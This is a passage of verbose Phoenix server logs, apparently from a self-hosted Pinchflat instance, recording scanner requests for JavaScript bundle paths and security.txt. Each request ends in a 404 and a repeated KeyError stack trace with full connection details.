37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9641.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/js/bundle.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50390}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /static/js/bundle (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9641.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/js/bundle.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50390}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9642.0>, params: %{}, path_info: ["static", "js", "bundle"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], (truncated) 15:21:50.909 [info] GET /.well-known/security.txt 15:21:50.909 [debug] QUERY OK source="settings" db=0.3ms idle=420.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:50.909 [debug] QUERY OK source="settings" db=0.0ms idle=420.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:50.909 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:50.909 [error] #PID<0.9644.0> running PinchflatWeb.Endpoint (connection #PID<0.9643.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.well-known/security.txt ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.well-known/security (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9643.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.well-known/security.txt", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50404}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9644.0>, params: %{}, path_info: [".well-known", "security"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/.well-known/security.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDA8wFcDADWJoAAIXD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9643.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.well-known/security.txt", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50404}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.well-known/security (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9643.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.well-known/security.txt", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50404}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9644.0>, params: %{}, path_info: [".well-known", "security"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/.well-known/security.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDA8wFcDADWJoAAIXD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, r (truncated) 15:21:50.968 [info] GET /dist/main.js 15:21:50.968 [debug] QUERY OK source="settings" db=0.2ms idle=463.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:50.968 [debug] QUERY OK source="settings" db=0.0ms idle=241.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:50.968 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:50.969 [error] #PID<0.9646.0> running PinchflatWeb.Endpoint (connection #PID<0.9645.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /dist/main.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dist/main (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9645.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dist/main.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50412}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9646.0>, params: %{}, path_info: ["dist", "main"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/dist/main.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDA8-MPExrkjIAAIYD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9645.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dist/main.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50412}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dist/main (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9645.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dist/main.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50412}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9646.0>, params: %{}, path_info: ["dist", "main"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/dist/main.js", resp_body: nil, (truncated) 15:21:51.204 [info] GET /dist/app.js 15:21:51.205 [debug] QUERY OK source="settings" db=0.1ms idle=477.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:51.205 [debug] QUERY OK source="settings" db=0.0ms idle=295.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:51.205 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:51.205 [error] #PID<0.9648.0> running PinchflatWeb.Endpoint (connection #PID<0.9647.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /dist/app.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dist/app (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9647.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dist/app.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50420}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9648.0>, params: %{}, path_info: ["dist", "app"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/dist/app.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDA92mzeTJir0AAIZD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9647.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dist/app.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50420}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dist/app (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9647.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dist/app.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50420}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9648.0>, params: %{}, path_info: ["dist", "app"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/dist/app.js", resp_body: nil, resp (truncated) 15:21:51.442 [info] GET /dist/bundle.js 15:21:51.442 [debug] QUERY OK source="settings" db=0.1ms idle=532.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:51.442 [debug] QUERY OK source="settings" db=0.0ms idle=474.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:51.442 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:51.443 [error] #PID<0.9650.0> running PinchflatWeb.Endpoint (connection #PID<0.9649.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /dist/bundle.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dist/bundle (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9649.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dist/bundle.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50436}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9650.0>, params: %{}, path_info: ["dist", "bundle"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/dist/bundle.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDA-vPFL2gmlMAAIaD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", 